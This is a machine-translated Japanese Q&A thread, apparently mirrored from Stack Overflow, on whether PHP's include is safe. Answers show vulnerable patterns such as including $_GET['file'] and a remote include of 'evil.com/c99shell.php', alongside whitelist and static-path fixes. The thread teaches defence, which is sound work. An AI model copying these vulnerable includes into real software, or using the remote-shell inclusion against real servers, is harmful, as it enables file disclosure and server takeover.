2012-04-13 41 views
7

私は、 "include"関数(e.x. "include 'header2.php'または" include 'class.users.php' ") を使用して、私のウェブサイトにヘッダーまたはセッションクラスを追加しています。私は実際にどこを覚えていませんが、ハッカーは何とかこの「インクルード」ものを乱用していると聞いて、偽のページなどを送ってきました。 基本的に私はその「インクルード」機能が何であるか、どのように保護することができるのか、どのように虐待するのか、そして私が探しているものに対してより良い解決策があるのか​​を知りたいと思います。PHP - "インクルード"機能は安全ですか?

ありがとうございます。

+0

あなたのPHPコードにアクセスできる人は、あなたのサーバーにあります。すでに侵害されているものを確保することには何の意味もありません。代わりに、アプリケーションのSQLインジェクションの脆弱性をすべて修正するなど、エントリポイントをクローズアップすることに焦点を当てます。 – Blender

+0

重要なのは、「インクルード」something.php「 'が安全でないか、ハッキング可能であることと、SQLインジェクションであると聞きました。本当ですか? – user1327735

+0

誤って使用すると、何かが悪用される可能性があります。静的なPHPファイルを 'include 'している限り、あなたは本当にその領域について心配する必要はありません。 – Blender

答えて

13

すべての実装方法によって異なります。特にパスを設定すると、安全です。ユーザー入力がサニタイズやチェックを行わずにファイルパスを判断できるようにすると、攻撃が発生する可能性があります。

安全でない(ディレクトリトラバーサル)

<?php 
include($_GET['file']); 
?> 

安全でないURL fopen - 有効な場合)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

安全でない

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

部分的に安全でない(* .phpファイルが脆弱である)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

セキュア(なぜ誰もがこれを行うだろうかわからないけど。)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

セキュア

<?php 
include('./includes/somefile.php'); 
?> 
+0

[this](http://stackoverflow.com/a/599694/2302051)は安全ですか? – MahdiY

1

は、あなたがいない提供、安全である含める:

  1. www.someoneelsesssite.com/something.php
  2. のようなリモートファイルはクライアントから来たパスからファイルをインクルード。 www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. データベースのような汚染された可能性のある別のソースのファイルをインクルードします。

2と3は、技術的にはあなたが.または/または上のウィンドウを許可しない場合は、おそらく大丈夫です\という警告を持っています。しかし、あなたがなぜそのことを知らなければ、あなたはそれを危険にさらすことについて十分に知りません。データベースが読み取り専用であるとかセキュリティで保護されていると思っているときでも、そうしないといけないと思っているのは賢明です。

pp19ddの回答が指摘しているとおりです。 .php拡張子でインクルードの名前を付けることも重要です。もしあなたがApache(またはあなたが使っているWebサーバ)をPHPとして別のファイルタイプを解析するように設定していれば、それは安全です。しかし、確実にわからない場合は、.phpだけを使用してください。

include($_GET["page"]); 

して、URLを呼び出します:

myscript.php?page=index.php

攻撃者は、その後hxxp://hackerz.ru/install_stuff.phpためindex.phpに置き換えることができ、あなたのサーバーは喜んで実行されます

+0

'open_basedir'は不思議に作用します。 – Halcyon

+0

@FritsvanCampenは同意しましたが、一般的なルールとして、私はこれを尋ねる必要がある誰もが何らかのリスクを冒す準備ができていないという観点から、これらのことに答えようとします。あなたのコードの一部が「魔法」である場合、あなたは危険を冒すべきではありません。 (魔法によって、あなたが理解していないメカニックに基づいて動作することを意味します) – DampeS8N

2

は、あなたがこのような何かを行う場合は悪用される可能含めますそれ。

include自体は完全に安全です。あなたの入力を常に検証/エスケープするようにしてください。

1

あなたが含めるべきページが最初に存在することを確認することをお勧めします。実際のセキュリティの抜け穴は、インクルードページがURL変数などのユーザー入力から処理されるときに発生します。 ?include=page.phpあなたがこれらに慎重である限り、あなたは大丈夫でしょう。

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 
+0

これはあなたを何かから守ることはできません。あなたのパスワードファイルはファイル、php.iniはファイル、攻撃者が見つけるすべてのものはファイルです。 – DampeS8N

+0

@ DampeS8N:私はこれが唯一のことであることを暗示しようとしていませんでした。私は他のコードを挿入することについてのコメントも含めて、 "ユーザーの確認など"。ユーザー確認により、「メンバー」の機密ページにアクセスすることがなくなります。もう1つのコードはファイルブラックリストです。あなたの答えがあいまいであったときに私があなたの答えをなぜ断ったのか、私は分かりません。 – mseancole

+0

ディレクトリトラバーサル攻撃を防ぐ方法を知らない人は、どんな条件でもファイルを動的に含めるべきではありません。あなたの答えは、ファイルが存在することを確認することができる「最良の」ことを示唆しています。関連するセキュリティ情報はあいまいではなく、存在しません。私はあなたを傷つけるためにあなたを下降させず、必要な情報を追加すれば、私は断念しません。私の答えのあなたのdownvoteを削除するか、あなたが曖昧だと思うものについてコメントを残してください。 – DampeS8N

3

含んで最大の問題は、おそらく自動的にWebサーバーで実行されないものにPHPからファイル名の拡張子を変えています。例:library.inc、またはconfig.inc。これらのファイルをWebブラウザで呼び出すと、コードを実行する代わりにコードが表示され、パスワードや悪用可能なヒントが表示されます。

config.phpとパスワードが一致する可能性があります(config.inc)。ほとんどの場合、config.incを引き上げると、データベースのパスワードが表示されます。

ライブラリに.inc拡張子を使用するプログラマがいます。前提は、Webサーバーがアクセスできるディレクトリに存在しないことです。しかし、セキュリティ不安定なプログラマが少なくても、そのファイルを便利なWebディレクトリにダンプできます。

それ以外の場合は、何らかの理由でクエリ文字列によって送信されたファイルを含めないようにしてください。例:include($_GET['menu_file']) < - これは非常に間違っています。

+0

+1コードとして含めることができるファイル拡張子についてはいいですが、ブラウザで個別に読み込まれるとコードが公開されます。 – DampeS8N

+0

「ウェブブラウザでこれらのファイルを呼び出す」とはどういう意味ですか?パブリック名が "example.com"のサーバーがあるとします。 (1)ルートディレクトリに "a.inc"と呼ばれるファイルがあることが分かっている場合、単に "http:// example.com/a.inc"で見ることができますか? (2)どのディレクトリに.incファイルが存在しているのかわからない場合、どうやって見つけますか? – Alan

2

サーバー側は(サーバーが侵害されていないものとして)安全です。これを行う:

$var = $_GET['var']';  
include $var . ".php"; 

は安全ではありません。

include "page.php"; 

は安全です。

+0

注: 'page.php'が安全であると仮定します。 ;) –

+0

参照ファイルが信頼でき、安全であることを条件とします。 – Blake

-1

私はこのmethを使用していますod。

<?php include (dirname(__FILE__).'/file.php'); 
+0

私はあなたのために働くことを望みますが、より良い答えを得るためには、実際に説明することができます** – jean

関連する問題